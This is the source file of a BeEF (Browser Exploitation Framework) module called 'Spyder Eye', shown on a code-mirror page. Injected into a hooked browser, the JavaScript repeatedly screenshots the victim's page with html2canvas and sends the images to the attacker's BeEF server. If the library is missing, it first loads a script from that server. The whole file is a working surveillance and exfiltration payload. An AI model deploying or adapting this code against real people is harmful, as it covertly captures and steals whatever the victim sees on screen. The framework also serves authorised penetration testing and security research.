Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/browser/spyder_eye/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
var takes = parseInt('<%= @repeat %>', 10) || 1;
10
var delay = parseInt('<%= @delay %>', 10) || 0;
11
12
snap = function() {
13
try {
14
html2canvas(document.body).then(function(canvas) {
15
var d = canvas.toDataURL('image/png');
16
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'image=' + d );
17
});
18
beef.debug('[Spyder Eye] Took snapshot successfully');
19
}
20
catch (e) {
21
beef.debug('[Spyder Eye] Obtaining snapshot failed: ' + e.message);
22
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Obtaining snapshot failed: ' + e.message);
23
}
24
};
25
26
takeit = function() {
27
for(var i = 0; i < takes; i++) {
28
beef.debug('[Spyder Eye] Taking snapshot #' + i);
29
setTimeout(snap, delay * i);
30
}
31
};
32
33
if (typeof html2canvas == "undefined") {
34
var script = document.createElement('script');
35
script.type = 'text/javascript';
36
script.src = beef.net.httpproto+'://'+beef.net.host+':'+beef.net.port+'/h2c.js';
37
$j("body").append(script);
38
39
setTimeout(takeit, 400);
40
}
41
else {
42
takeit();
43
}
44
45
});
46
47